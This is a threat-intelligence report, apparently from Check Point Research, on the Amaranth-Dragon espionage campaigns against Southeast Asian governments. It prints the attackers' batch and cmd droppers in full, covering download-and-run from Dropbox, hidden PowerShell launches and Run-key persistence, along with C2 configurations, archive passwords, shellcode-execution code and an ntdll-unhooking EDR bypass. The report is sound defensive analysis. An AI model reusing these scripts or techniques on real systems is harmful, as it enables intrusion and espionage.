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Amaranth-Dragon: Weaponizing CVE-2025-8088 for Targeted Espionage in the Southeast Asia

4 February 2026 at 14:57

Key Points

  • Check Point Research (CPR) has been tracking Amaranth-Dragon, a nexus of APT-41, previously aligned with Chinese interests. The group launched highly targeted cyber-espionage campaigns throughout 2025 against government and law enforcement agencies in Southeast Asia.
  • We observed overlaps between Amaranth-Dragon and APT-41’s arsenal, suggesting a possible connection or shared resources between them. Further analysis of file compilation and campaign timelines suggests the group operates in UTC+8 (China Standard Time).
  • Attack themes and lure documents often coincide with significant local geopolitical events, increasing the likelihood of successful compromise.
  • Less than ten days after the WinRAR vulnerability (CVE-2025-8088) was disclosed, Amaranth-Dragon introduced malicious RAR archives into their campaigns, exploiting this vulnerability and ultimately achieving code execution and persistence on victim systems.
  • The group utilizes legitimate hosting services (e.g., Dropbox) and Amaranth Loader, a custom tool to deliver encrypted payloads, primarily deploying the Havoc C2 Framework. Command and Control servers are protected by Cloudflare and configured to respond only to IP addresses from targeted countries, minimizing collateral infections and increasing campaign stealth.
  • A new tool was added to their arsenal, which we track as TGAmaranth RAT. The Telegram-based remote access trojan features anti-EDR and anti-AV capabilities and uses a Telegram bot as its command and control server.


Introduction

Check Point Research has identified several campaigns targeting multiple countries in the Southeast Asian region. These related activities have been collectively categorized under the codename “Amaranth-Dragon”. The campaigns demonstrate a clear focus on government entities across the region, suggesting a motivated threat actor with a strong interest in geopolitical intelligence. The campaigns frequently target law enforcement agencies, particularly the police, and often appear to be timed or themed around ongoing local political events.

The attacks are performed by the Chinese group we track as Amaranth-Dragon. A previously unknown loader we call Amaranth Loader shares similarities with tools such as DodgeBox, Dustpan and Dusttrap associated with the Chinese hacking group known as APT-41 (FBI’s most wanted cybercriminal groups), suggesting a connection or shared resources between the groups.

Their Command and Control (C&C) servers were protected behind Cloudflare, configured to accept traffic only from IP addresses within the specific country or countries targeted in each operation. Once executed, the Amaranth loader retrieves an encrypted payload, decrypts it using AES, and executes it directly in memory.

The payload most commonly deployed is the Havoc Framework, an open-source Command and Control (C&C) platform used for authorized security assessments such as penetration testing and red teaming. In legitimate contexts, Havoc enables security professionals to deploy, manage, and interact with post-exploitation agents within environments they are permitted to test.

While the initial delivery method remains uncertain, the targeted nature of the attacks suggests the use of malicious emails containing weaponized attachments. The initial file is a RAR archive exploiting CVE-2025-8088, which allows the attackers to execute arbitrary code by crafting malicious archive files.


CVE-2025-8088

The vulnerability affects WinRAR and was disclosed on August 8, 2025. A publicly available exploit tool for this vulnerability was released on GitHub on August 14, 2025. Later, on August 18, 2025, Amaranth-Dragon leveraged this vulnerability for the first time in their campaigns.

CVE-2025-8088 is a path traversal vulnerability affecting the Windows version of WinRAR that allows attackers to execute arbitrary code.

Figure 1 — Triggering CVE-2025-8088.

By crafting the malicious RAR file, the threat actors can drop a file into the Startup folder and achieve indirect code execution upon system reboot.

Amaranth-Dragon Campaigns

Since March 2025, Check Point Research has identified several campaigns attributed to Amaranth-Dragon. The campaigns have targeted several Southeast Asian countries, including Cambodia, Thailand, Laos, Indonesia, Singapore, and the Philippines. It is highly probable that additional campaigns have targeted other countries in the region; however, the highly targeted nature of these operations makes it difficult to obtain further indicators of compromise (IoCs).

Each campaign typically targets one or two countries and is coordinated around geopolitical or local events. The archive file was typically hosted by legitimate providers like Dropbox. The archive contained multiple files, including a malicious DLL, the Amaranth loader, which was sideloaded by a legitimate executable. Often, the compilation timestamp aligns with the campaign date.

Upon execution, the Amaranth loader contacts a designated URL to retrieve an AES encryption key. The AES key is retrieved from Pastebin or hosted on the group’s server, however, there were some campaigns where the key was embedded in the loader. The key is then used to decrypt an encrypted payload retrieved from a secondary URL owned by this group.

Their infrastructure enforces strict targeting. If an infected victim attempts to access the payload URL from an IP address outside the designated target country, the server responds with HTTP 403 Forbidden, preventing the payload from being delivered and effectively blocking unintended infections.

Figure 2 — Contacting C&C with an IP from Singapore.

This geo-restriction mechanism has allowed us to reliably determine the specific country targeted in each campaign, based on which IP ranges are permitted to access the C&C.

Figure 3 — Response 403 from a country that is not targeted.

The names of these campaigns and the loader were inspired by the Pastebin account that hosted the AES key for multiple operations. The account amaranthbernadine has been observed across several campaigns, each containing different pastes.

Figure 4 — amaranthbernadine Pastebin account.

Some of these campaigns also exploited CVE‑2025‑8088, which potentially allowed the threat actor to drop a script file (CMD or BAT) into the Startup folder and achieve code execution upon reboot. The script executed the Amaranth Loader by sideloading it, which then downloaded, decrypted, and executed the Havoc C2 Framework in memory.


Campaigns Timeline

Figure 5 — Amaranth-Dragon campaigns.

March 19, 2025, Cambodia

The first discovered campaign, dated March 19, 2025, appears to have targeted Cambodia, as indicated by the file name CNP_MFA_Meeting_Documents.zip. Specifically, the Cambodia National Police and/or the Ministry of Foreign Affairs were targets. At that time, the group did not exploit the CVEs as they had not yet been disclosed. Instead, the attackers used ZIP archives containing script files, such as .lnk and .bat, to decrypt and execute the Amaranth loader.

April 28, 2025, Cambodia

The second campaign, which took place on April 28, 2025, once again targeted Cambodia with an updated version of the Amaranth loader. The URL downloading the encrypted Havoc payload indicated the targeted country, drive.easyboxsync[.]com/resources/channels/v7/cambodia64.

July 3, 2025, Thailand & Laos

The third campaign was the last observed campaign without the CVE being exploited to deliver the malicious script that maintains persistence on the system and executes the Amaranth loader. This campaign targeted Thailand and Laos on July 3, 2025.

August 18, 2025, Indonesia

During the fourth campaign, which began on August 18, 2025, the group targeted Indonesia with the archive filename SK_GajiPNS_Kemenko_20250818.rar, which translates to “Official Decision (SK) regarding the Salary (Gaji) of Civil Servants (PNS) working in Coordinating Ministries (Kemenko)”. Notably, Indonesia increased the salary of Civil Servants by 8% starting from August 1, 2025. Therefore, such a filename could lure victims into opening and executing the received file. During this campaign, we observed the group exploiting CVE-2025-8088 for the first time to drop a malicious .bat file into the Startup folder, establishing persistence on the victim machine. The vulnerability had been disclosed by the vendor ten days before the campaign occurred, and the first public exploit appeared on GitHub four days prior to that.

September 5, 2025, Indonesia

In the campaign targeting Indonesia, which began on September 5, 2025, we observed that the Amaranth loader was not deployed. Instead, the attackers used a fully functional RAT that leveraged a Telegram bot as its C&C, retrieved PII (Personal Identifiable Information) and executed remote commands. The initial .rar file, Proposal_for_Cooperation_3415.05092025.rar, does not indicate any specific targeted entities. In September, several events took place that were likely connected, but we were unable to establish a definitive link between them.

September 15, 2025, Thailand, Singapore & Philippines

In the sixth campaign, the C&C server only accepted connections from Thailand, Singapore, and the Philippines, while blocking all other regions. The deployed shellcode was the Havoc C2 Framework. We are not certain of the exact date the campaign took place, as the compilation timestamp suggests September 4, 2025, while we first saw it on September 15, 2025. Based on the filename FSTR_HADR.zip .The campaign may reference two events:

  1. Falcon Strike 2025, China‑Thailand Joint Air Force Exercise from 19–25 September 2025 in Thai airspace.
  2. HADR operations Philippine Army – Royal Thai Army from 11–12 September 2025.

Between September 29 and October 10, we discovered another campaign themed Training_Program, which appeared to target Thailand and Singapore using the Amaranth loader.

October 15, 2025, Philippines

The last two campaigns, identified between October 15 and 23, 2025, targeted the Philippines. The first of those two campaigns, with the name OAS-2025-111.10_Minutes_Template_Salary_and_Bonus_Meeting, attempted to download the file @MrPresident_001_bot.rar. However, we were unable to retrieve it due to its very short-lived availability period.

October 23, 2025, Philippines

The last campaign targeted the Philippines Coast Guard, with the name PCG 124th Anniversary Event Documents Office of the President 23102025, coinciding with the 124th anniversary of the founding of the Philippine Coast Guard.

Playing with Time

During the latest campaign targeting the Philippine Coast Guard, we determined the group’s operational timezone using VirusTotal submissions, ZIP files, and Amaranth loader Compilation Timestamps.

Zip file:

Filename: PCG_124th_Anniversary_Event_Documents_Office_of_the_President_23102025-Archive.zip

2025-10-23 08:25:58 UTC     VT First Submission                  

Zip Contents:
2025-10-22 15:07:56         __MACOSX
2025-10-22 16:24:20         __MACOSX/.vcredist.rar
2025-10-23 16:03:50         124th_Anniversary_of_the_Philippine_Coast_Guard_Event_Summary_and_Feedback_Request_Office_of_the_Appointments_Secretary_OP_23102025.pdf.lnk
2025-10-23 16:03:56         PCG_124th_Anniversary_Ceremonial_Report_and_Documentation_for_Review_and_Comments_Before_11AM_Deadline_Office_of_the_President_23102025.pdf.lnk
2025-10-23 16:05:30         __MACOSX/ZoomWorkspace.bat

Amaranth loader:

2025-10-22 08:23:07 UTC     DllSafeCheck64.dll (Compilation Timestamp)      

The campaign provides a mix of timestamps, with two in UTC and the rest in the group’s local time zone.

During this campaign, the Amaranth loader (DLL) was embedded inside a password-protected archive named .vcredist.rar. This RAR file was added to the ZIP archive at 2025-10-22 16:24 in the group’s local time, while the DLL was compiled on the same day at 08:23 UTC. It is reasonable to assume that the malicious file was added to the RAR archive shortly after compilation (a difference of one minute and 13 seconds). In this case, the group’s operating timezone appears to be UTC+8, which aligns with China’s single standard timezone.

The latest modification time of the ZIP file is close to the campaign’s start on 2025-10-23 (first submission). The ZIP was submitted at 08:25:58 UTC, but the latest file inside shows 16:05:30 ”local time”, again indicating an 8-hour time difference. This suggests that the group added the .bat file shortly before launching the campaign.


Campaign Analysis – Philippines Coast Guard, 2025-10-23

The campaign was initiated on October 23, 2025, using the theme of the Philippines Coast Guard’s 124th Anniversary, which took place that same day. The group impersonated the “Office of the President” as part of their social engineering tactics.

Figure 6 — Philippines Coast Guard attack chain.

During this campaign, we did not observe the use of the CVE-2025-8088 vulnerability.

Zip File: 495cb43f3c2e3abd298a3282b1cc5da4d6c0d84b73bd3efcc44173cca950273c
Name: PCG_124th_Anniversary_Event_Documents_Office_of_the_President_23102025-Archive.zip

Hash                                   Path
----                                   ----
3602E70D4CD1CD60C4ACCB4772ED685A       124th_Anniversary_of_the_Philippine_Coast_Guard_Event_Summary_and_Feedback_Request_Office_of_the_Appointments_Secretary_OP_23102025.pdf.lnk
0DEEA95B6C5418DBD85305F19E799794       PCG_124th_Anniversary_Ceremonial_Report_and_Documentation_for_Review_and_Comments_Before_11AM_Deadline_Office_of_the_President_23102025.pdf.lnk
2BB9E462385773E8023B21516F332078       \\__MACOSX\\.vcredist.rar
2D25368AA3EB691DC81094EBDE82D2F8       \\__MACOSX\\ZoomWorkspace.bat

Both .lnk files masquerade as PDF files purportedly delivered by the Office of the President. When triggered, each executes the following command, which runs the “hidden” .bat file stored in the \\__MACOSX\\ folder.

/b /c "@echo off && tar.exe -xf "*-Archive.zip" && "__MACOSX\\ZoomWorkspace.bat" || "__MACOSX\\ZoomWorkspace.bat""

It is interesting to note that even if only the .lnk file is extracted, executing it will extract all the files from the archive and then trigger the .bat file.

@echo off
setlocal

:: ??????
set rsz=.\\__MACOSX\\.vcredist.rar
:: ??????

:: ??????
set drp=%appdata%\\ZoomWorkspace
set exf=%appdata%\\ZoomWorkspace\\ZoomUpdate.exe
:: ??????

:: ??????
if not exist "%drp%" (
    mkdir "%drp%" >NUL 2>&1
)

set "RAR32=%ProgramFiles(x86)%\\WinRAR\\Rar.exe"
set "RAR64=%ProgramFiles%\\WinRAR\\Rar.exe"
set "z32=%ProgramFiles(x86)%\\7-Zip\\7z.exe"
set "z64=%ProgramFiles%\\7-Zip\\7z.exe"

if exist "%RAR64%" (
    "%RAR64%" x -hpsuu9cskRIQjsBxYtr9TH -y "%rsz%" "%drp%\\" >NUL 2>&1

    if exist "%exf%" (
        del /s /q /a /f "%rsz%"
        powershell -WindowStyle hidden -ep Bypass -nop %exf%
    )
    
    exit /b %errorlevel%
)

if exist "%z64%" (
    "%z64%" x -psuu9cskRIQjsBxYtr9TH -o "%drp%\\" -y "%rsz%" >NUL 2>&1

    if exist "%exf%" (
        del /s /q /a /f "%rsz%"
        powershell -WindowStyle hidden -ep Bypass -nop %exf%
    )

    exit /b %errorlevel%
)

if exist "%RAR32%" (
    "%RAR32%" x -hpsuu9cskRIQjsBxYtr9TH -y "%rsz%" "%drp%\\" >NUL 2>&1

    if exist "%exf%" (
        del /s /q /a /f "%rsz%"
        powershell -WindowStyle hidden -ep Bypass -nop %exf%
    )

    exit /b %errorlevel%
)

if exist "%z32%" (
    "%z32%" x -psuu9cskRIQjsBxYtr9TH -o"%drp%\\" -y "%rsz%" >NUL 2>&1

    if exist "%exf%" (
        del /s /q /a /f "%rsz%"
        powershell -WindowStyle hidden -ep Bypass -nop %exf%
    )

    exit /b %errorlevel%
)

endlocal

The bat file attempts to extract two files from the password-protected archive using the password suu9cskRIQjsBxYtr9TH and stores them in %appdata%\\ZoomWorkspace\\. The executable file is legitimate and signed, which sideloads the malicious DLL Amaranth Loader.

Hash                                   Path
----                                   ----
5EB3FC682E41EAEC8704EF6CB7593FC2       \\__MACOSX\\.vcredist\\ZoomUpdate.exe
534ECC19F369B3FE3C2C33F4BF92205A       \\__MACOSX\\.vcredist\\DllSafeCheck64.dll

The loader contacts hxxps://softwares.dailydownloads[.]net/products/microsoft/office/product-key/DB2F.activation.key to retrieve the AES key and hxxps://updates.dailydownloads[.]net/docs/microsoft/office/Office_Activation_Manual_DB2F.pdf to obtain the encrypted payload, which is then run in memory. The payloads we obtained were Havoc C2 Framework.


Campaign Analysis – Indonesia, 2025-09-05

The campaign targeting Indonesia took place on September 5, 2025. Its theme was Proposal_for_Cooperation_3415. The group distributed a malicious RAR file that exploits the CVE-2025-8088 vulnerability, allowing the execution of arbitrary code and maintaining persistence on the compromised machine.

Figure 7 — TGAmaranth RAT attack chain.

The RAR file drops the following benign files into the extracted directory (in the example above, the Desktop folder):

Hash                                   Path
----                                   ----
8A7F236D0489AC4292ED4CC17D7A7C83       \\Attachments\\Attachments_Concept Note (1).docx
83ECA729B5002A4294A658ADE65371D1       \\Attachments\\Attachments_Concept Note (2).docx
5B3224B45D3A8B403EC07025B803AE85       \\Attachments\\Attachments_Concept Note (3).docx
A956F6B6372F6F81B98EEC8E5563D54E       \\Attachments\\Attachments_Concept Note (4).docx
057AF63BB82301A1522F86D87374A5E4       \\Attachments\\Attachments_Concept Note (5).docx
5CC340108C8A0682151574280632BDE1       \\Attachments\\Attachments_Concept Note (6).docx
DED81110B206D662F56F0FB47DAF6DEA       \\Attachments\\Attachments_Concept Note (7).docx
3AEEC2BCD63FD76CB78CC7FE6BCB1172       Proposal for Cooperation.pdf

When attempting to exploit the path traversal vulnerability to drop the malicious script into the Startup folder and achieve arbitrary code execution, we observed the malware repeatedly trying different ../ path‑traversal sequences until it successfully reached the correct directory, which varies depending on where the RAR file is extracted.

Figure 8 — Path Traversal attempts to achieve code execution.

After the malicious file is dropped into the Startup folder, it executes Windows Defender Definition Update.cmd upon the next system reboot. It is noteworthy that although the RAR file exists on VirusTotal, the sandbox was unable to extract the malicious file, creating challenges for researchers, as no artifacts were available to analyze.

Figure 9 — Unable to extract the malicious CMD file.

Cmd File: 8a7ee2a8e6b3476319a3a0d5846805fd25fa388c7f2215668bc134202ea093fa

@echo off
setlocal ENABLEEXTENSIONS ENABLEDELAYEDEXPANSION

set "TARGET_DIR=C:\\Users\\Public\\Documents\\Microsoft"
set "ZIP_URL=hxxps://www.dropbox.com/scl/fi/ln6q8ip8k3dvx6xxyi71s/gs.rar?rlkey=w9vg1ehva23iitfdt5oh2x6cj&st=pwq86nfo&dl=1"

set "RANDOM_NAME=winupdate_v!RANDOM!!TIME:~6,2!!TIME:~3,2!"
set "ZIP_FILE=%TARGET_DIR%\\%RANDOM_NAME%.rar"
set "EXTRACT_DIR=%TARGET_DIR%\\%RANDOM_NAME%"

set "EXE_FILE=%EXTRACT_DIR%\\obs-browser-page.exe"
set "DLL_FILE=%EXTRACT_DIR%\\libcef.dll"

if exist "%EXE_FILE%" if exist "%DLL_FILE%" goto :RunProgram
if not exist "%TARGET_DIR%" mkdir "%TARGET_DIR%" >NUL 2>&1

call :Download "%ZIP_URL%" "%ZIP_FILE%"
if errorlevel 1 (
    timeout /t 15 >NUL
    call :Download "%ZIP_URL%" "%ZIP_FILE%"
    if errorlevel 1 (
        timeout /t 30 >NUL
        call :Download "%ZIP_URL%" "%ZIP_FILE%"
        if errorlevel 1 exit /b 1
    )
)

mkdir "%EXTRACT_DIR%" >NUL 2>&1
call :Extract "%ZIP_FILE%" "%EXTRACT_DIR%" || exit /b 1
del /q "%ZIP_FILE%" >NUL 2>&1

:RunProgram
if exist "%EXE_FILE%" (
    reg add "HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run" /v "%RANDOM_NAME%" /t REG_SZ /d "%EXE_FILE%"
    start "" "%EXE_FILE%"
)
endlocal
exit /b 0

:Download
powershell -WindowStyle Hidden -NoLogo -NoProfile -Command ^
    "try { (New-Object Net.WebClient).DownloadFile('%~1','%~2'); exit 0 } catch { exit 1 }" >NUL 2>&1
if %errorlevel%==0 exit /b 0
powershell -WindowStyle Hidden -NoLogo -NoProfile -Command ^
    "try { (New-Object Net.WebClient).DownloadFile('%~1','%~2'); exit 0 } catch { exit 1 }" >NUL 2>&1
if %errorlevel%==0 exit /b 0
exit /b 1

:Extract
set "RAR32=%ProgramFiles(x86)%\\WinRAR\\Rar.exe"
set "RAR64=%ProgramFiles%\\WinRAR\\Rar.exe"

if exist "%RAR64%" (
    "%RAR64%" x -hpS8jwaqfA0BBuWOAKrFLg -y "%~1" "%~2\\" >NUL 2>&1
    exit /b %errorlevel%
)

if exist "%RAR32%" (
    "%RAR32%" x -hpS8jwaqfA0BBuWOAKrFLg -y "%~1" "%~2\\" >NUL 2>&1
    exit /b %errorlevel%
)

where Rar.exe >NUL 2>&1
if %errorlevel%==0 (
    Rar.exe x -hpS8jwaqfA0BBuWOAKrFLg -y "%~1" "%~2\\" >NUL 2>&1
    exit /b %errorlevel%
)

exit /b 1

The .cmd file downloads a password‑protected RAR archive from Dropbox and saves it to C:\\Users\\Public\\Documents\\Microsoft under the name winupdate_v{random_int_cur_time}.rar. Threat actors often abuse legitimate file‑sharing services, such as Dropbox, Google Drive, GitHub, and others. Although these platforms scan uploaded files for malicious activity, password‑protecting an archive prevents the files from being extracted and their contents analyzed, which allows malicious payloads to bypass security checks.

winupdate_v.rar- 50855f0e3c7b28cbeac8ae54d9a8866ed5cb21b5335078a040920d5f9e386ddb

After it’s downloaded, the RAR file is decrypted using the password S8jwaqfA0BBuWOAKrFLg. It then drops the two embedded files, obs-browser-page.exe and libcef.dll, into C:\\Users\\Public\\Documents\\Microsoft\\winupdate_v{random_int_cur_time}\\. A Run registry key is then created to maintain persistence for the executable, which will sideload the malicious DLL file. obs-browser-page.exe7af238050b2750da760b2cf5053bcf58054bcf44e9af1617d8b7af3ed98d09c6

libcef.dlla3805b24b66646c0cf7ca9abad502fe15b33b53e56a04489cfb64a238616a7bf

The DLL file was compiled on Thu, Sep 04, 10:41:21 2025, and contains the malicious export cef_api_hash. The malware is the RAT we track as TGAmaranth RAT, and uses a Telegram Bot as its C&C.

The artifacts we observed in the campaign’s initial ZIP file were also present in another ZIP file. However, instead of downloading the encrypted RAR from Dropbox, the file was retrieved from the group’s own servers:

  • URL: catalogs.dailydownloads[.]net/archives/microsoft/office/@MrPresident_001_bot.rar
  • Password: 6jmNHn2hRf7uxCHKwL5s

Interestingly, the filename @MrPresident_001_bot.rar could potentially refer to a Telegram bot, as it follows the platform’s naming conventions for bot accounts.


Amaranth Loader – Technical Analysis

The Amaranth loader is a 64-bit Windows PE DLL that executes its malicious functionality when sideloaded. The loader usually does not establish additional persistence mechanisms. However, in some campaigns and samples, we observed the creation of a Run key entry to ensure persistence.

The DLL typically contains multiple exports, in most cases, only a single export is functional, and the remaining exports point to the same address, which simply invokes an infinite Sleep loop.

Figure 10 — Amaranth Loaders DLL exports.

After the correct export is invoked by the main executable, Amaranth loader decrypts the initial URL using a hardcoded XOR key.

Figure 11 — String decryption.

The loader contacts the URL that hosts the AES key. While the majority of samples we obtained follow this approach, we also observed samples in which the AES key is embedded in the binary in encrypted form. In these cases, the same decryption process described above is used to retrieve the AES key.

Initially, the URLs used to retrieve the key were hosted on Pastebin, uploaded from a single account @amaranthbernadine. In later campaigns, the AES key was hosted on servers controlled by the threat group, similar to those in the payload.

hxxps://pastebin[.]com/raw/Z7xayGZ8
hxxps://pastebin[.]com/raw/2AGrG4i1
hxxps://pastebin[.]com/raw/ASXindCH
hxxps://daily.getfreshdata[.]com/dailynews/key.txt
hxxps://softwares.dailydownloads[.]net/products/microsoft/office/product-key/DB2F.activation.key

Moving the AES keys from Pastebin to their own servers enables the attackers to apply geolocation restrictions before payload delivery.

Figure 12 — AES-key retrieved from URL.

We observed multiple User-Agent strings being passed as arguments to the InternetOpenA function, including:

"Avant Browser/1.2.789rel1 (<http://avantbrowser.com>)"
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0"
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.37 (KHTML, like Gecko) Chrome/132.0.6788.76 Safari/537.36"
"downloader"

The loader downloads the encrypted file from the second URL and decrypts it using AES-CBC with the obtained key and a hardcoded initialization vector (IV). The same IV is present in all Amaranth loader samples from the campaigns mentioned earlier: 12 34 56 78 90 AB CD EF 34 56 78 90 AB CD EF 12.

The loader allocates 4 KB of memory with PAGE_EXECUTE_READWRITE access and copies the decrypted shellcode into this memory address. It then executes the shellcode entry point. The observed shellcode was the Havoc command-and-control framework.

Example of Havoc Configuration (targeting Thailand, Singapore, Philippines –FSTR_HADR.zip):

{
  "Processes": [
    "C:\\\\Windows\\\\System32\\\\Werfault.exe",
    "C:\\\\Windows\\\\SysWOW64\\\\Werfault.exe"
  ],
  "Method": "POST",
  "Hosts": [
    "www.todaynewsfetch[.]com:443"
  ],
  "UserAgent": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.37 (KHTML, like Gecko) Chrome/132.0.6788.76 Safari/537.36",
  "Headers": [
    "Content-type: text/plain",
    "Secure: 1",
    "SSID: 11PCVS1VcabHx"
  ],
  "Urls": [
    "/im-uncac",
    "/bulletin-disposal",
    "/version-check"
  ]
}

During our analysis of the loader’s strings, we observed several development and debug artifacts, such as references to Crypto++ source file paths. These paths likely originate from the threat actors’ development environment.

C:\\Users\\LG02\\Desktop\\???\\cryptopp-master\\gf2n_simd.cpp
C:\\Users\\LG02\\Desktop\\???\\cryptopp-master\\rijndael_simd.cpp
C:\\Users\\LG02\\Desktop\\???\\cryptopp-master\\sha_simd.cpp
C:\\Users\\LG02\\Desktop\\???\\cryptopp-master\\sse_simd.cpp
D:\\Dev\\ApplicationDllHijacking\\cryptopp\\cryptopp-master\\gf2n_simd.cpp
D:\\Dev\\ApplicationDllHijacking\\cryptopp\\cryptopp-master\\rijndael_simd.cpp
D:\\Dev\\ApplicationDllHijacking\\cryptopp\\cryptopp-master\\sha_simd.cpp
D:\\Dev\\ApplicationDllHijacking\\cryptopp\\cryptopp-master\\sse_simd.cpp
H:\\SideLoading\\04.Cwebp_custom\\???\\cryptopp-master\\gf2n_simd.cpp
H:\\SideLoading\\04.Cwebp_custom\\???\\cryptopp-master\\rijndael_simd.cpp
H:\\SideLoading\\04.Cwebp_custom\\???\\cryptopp-master\\sha_simd.cpp
H:\\SideLoading\\04.Cwebp_custom\\???\\cryptopp-master\\sse_simd.cpp


Amaranth Loader Variant Resembling APT-41 Tools deploying Havoc

File: 3cbef162e14e74d1f95391091544b53deb23c41b41b8bbadd124209a63496424

In early September, we discovered a file exhibiting similarities to both Amaranth Loader and previous APT-41 reported tools (here and here). This sample was compiled on August 20, 2025, and appears to have been used in multiple attacks. We observed the same Crypto++ file artifacts as seen in Amaranth Loader, as well as the use of the DLL sideloading technique.

H:\\code\\loaders\\winzip\\cryptopp\\gf2n_simd.cpp
H:\\code\\loaders\\winzip\\cryptopp\\rijndael_simd.cpp
H:\\code\\loaders\\winzip\\cryptopp\\sha_simd.cpp
H:\\code\\loaders\\winzip\\cryptopp\\sse_simd.cpp

Of the four DLL exports, three of them point to the same address containing the Sleep instruction, while the other export, CreateWzAddrBook, implements the malicious functionality.

Figure 13 — DLL Exports.

Before entering an infinite sleep, the main export creates a thread to execute the malicious function.

void CreateWzAddrBook()
{
  HANDLE Thread = CreateThread(NULL, 0, StartAddress, NULL, 0, NULL);
  CloseHandle(Thread);
  Sleep(INFINITE);
}

Similar to Amaranth Loader, this local variant decrypts its strings using the same previously described algorithm. Although some unusual logic is present in the code, this appears to be the result of compiler optimizations, such as loop unrolling, though the result is the same.

Figure 14 — Decryption algorithm.

Python representation:

data = b'?N\\xd9\\x8c$\\x1d}\\xed\\x1c4\\x00\\x00\\x00\\x00\\x00\\x00'
key = 0x8145F15287224668
decrypted_size = 10

decrypted = bytes(
    data[i] ^ (key >> i % 8) & 0xFF
    for i in range(0, decrypted_size)
)

print(decrypted)
# b'WzCAB.dat\\x00'

The first decrypted string is the filename containing the encrypted shellcode, which is loaded into memory and executed. The second decrypted string is the “RC4 key” used to decrypt the shellcode. Windows API function names are also encrypted and decrypted using the same algorithm, then GetProcAddress is used to dynamically resolve these functions at runtime.

The function used to decrypt the shellcode is an RC4-like implementation. While the Key-Scheduling Algorithm (KSA) is correctly implemented, the difference from the standard RC4 algorithm lies in the Pseudo-Random Generation Algorithm (PRGA).

Below is the Amaranth-Dragon Python RC4 implementation:

def rc4_amaranth_dragon(key: bytes, data: bytes) -> bytes:
    """
    Amaranth-Dragon RC4-like decryption function.
    Author: @Tera0017/@_CPResearch_
    """
    def KSA(key: bytes) -> list[int]:
        sBox = list(range(0, 256))
        b = 0
        for i in range(0, 256):
            b = (sBox[i] + key[i % len(key)] + b) & 0xFF
            sBox[i], sBox[b] = sBox[b], sBox[i]
        return sBox

    def PRGA(sbox: list[int], data_size: int):
        j = 0
        for i in range(0, data_size):
            ii = (i + 1) & 0xFF
            j = (j + sbox[ii]) & 0xFF
            sbox[ii], sbox[j] = sbox[j], sbox[ii]
            # Amaranth-Dragon RC4 Implementation
            yield i, (sbox[ii] + sbox[j]) & 0xFF
            # Standard RC4 Implementation
            #yield i, box[(box[ii] + box[j]) & 0xFF]

    box = KSA(key)
    return bytes(
        data[i] ^ cipherbyte
        for i, cipherbyte in PRGA(box, len(data))
    )

It’s not clear if this deviation is intentional or accidental. However, standard Python libraries such as PyCryptodome do not successfully decrypt the shellcode.

Figure 15 — PRGA Implementation.

After the RC4-like decryption function completes, the malware uses the previously mentioned XOR algorithm to decrypt and dynamically resolve the necessary Windows API functions. These functions are then used to perform process injection by executing the shellcode within a fiber context.

shell_addr = VirtualAlloc(NULL, decrypted_size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(shell_addr, decrypted, decrypted_size);

ConvertThreadToFiber(NULL);

LPVOID shellFiber = CreateFiber(0, shell_addr, NULL);

SwitchToFiber(shellFiber);

The encrypted shellcode used in this campaign was identified as Havoc C2 Framework shellcode, and is configured as follows:

{
  "Processes": [
    "C:\\\\Windows\\\\System32\\\\msfeedssync.exe",
    "C:\\\\Windows\\\\SysWOW64\\\\msfeedssync.exe"
  ],
  "Method": "POST",
  "Hosts": [
    "dns.annasoft.gcdn[.]co:443",
    "92.223.120[.]10:443",
    "93.123.17[.]151:443",
    "92.223.76[.]20:443",
    "92.223.124[.]45:443",
    "92.38.170[.]6:443"
  ],
  "UserAgent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Edg/114.0.1788.0",
  "Headers": [
    "Host: helpdesk.nvision.com",
    "Accept: */*",
    "Accept-Language: en-US,en",
    "Accept-Encoding: gzip,deflate,br",
    "Origin: <https://config.office>[.]com",
    "Connection: keep-alive"
  ],
  "Urls": [
    "/releases/v1.0/OfficeReleases",
    "/Collector/3.0/?qsp=true&content-type=application&client-id=NO_AUTH"
  ]
}


TGAmaranth RAT – Technical Analysis

TGAmaranth RAT is a fully functional 64-bit DLL remote access tool (RAT) that uses a hardcoded Telegram bot as its C&C. It uses an encrypted bot token to connect to https://api.telegram.org, listens for incoming bot messages, and interprets them as commands.

This file was compiled on September 4, 2025, and was used in a campaign targeting Indonesia and possibly other Southeast Asian countries. The sample follows a modus operandi similar to that of other tools observed in the Amaranth-Dragon campaigns, and is sideloaded by a legitimate executable.

Figure 16 — TGAmaranth RAT DLL exports.

The first function executed by the malware implements an anti-debugging technique to determine if the process is being debugged. This method is described in detail in this GitHub repository. In summary, the malware creates an event handler named SelfDebugging and launches a child process of itself, passing the executable filename and the parent process ID as arguments. The child process then attempts to attach to the parent process using the DebugActiveProcess. If this attempt fails, the child process signals the event handler to notify the parent that it is already being debugged. Upon detection of a debugger, both the child and parent processes terminate. If no debugger is detected, the parent process proceeds with the infection routine.

However, before proceeding with full infection, the malware employs an anti-EDR and anti-AV technique that overwrites a hooked ntdll.dll in the current process with a clean, unhooked copy, thereby allowing it to bypass EDR or antivirus hooks. To achieve this, the malware creates a child process of cmd.exe in CREATE_SUSPENDED mode and reads the child process’s ntdll.dll from memory using the ReadProcessMemory API. As many EDR solutions do not hook into the ntdll.dll of a process until it is resumed, the suspended child process typically contains an unhooked version of the DLL. TGAmaranth does not inject any code into the child process, but simply reads the unhooked ntdll.dll and then terminates the child process. The malware then copies the .text section of the unhooked ntdll.dll from the child process into its own address space, effectively removing any EDR or antivirus hooks from the parent process.

Figure 17 — Export, malicious code.

The RAT encrypts most of its critical strings using a custom XOR-based function, which uses the same algorithm as previously described.

Figure 18 — TGAmaranth string decryption.

Due to compiler optimizations such as loop unrolling, the similarities in the decryption routines are not immediately apparent. However, when translating the code into Python, we observe that the same decryption algorithm is used.

def decrypt_tg_amaranth(key: int, data: bytes) -> bytes:
    """
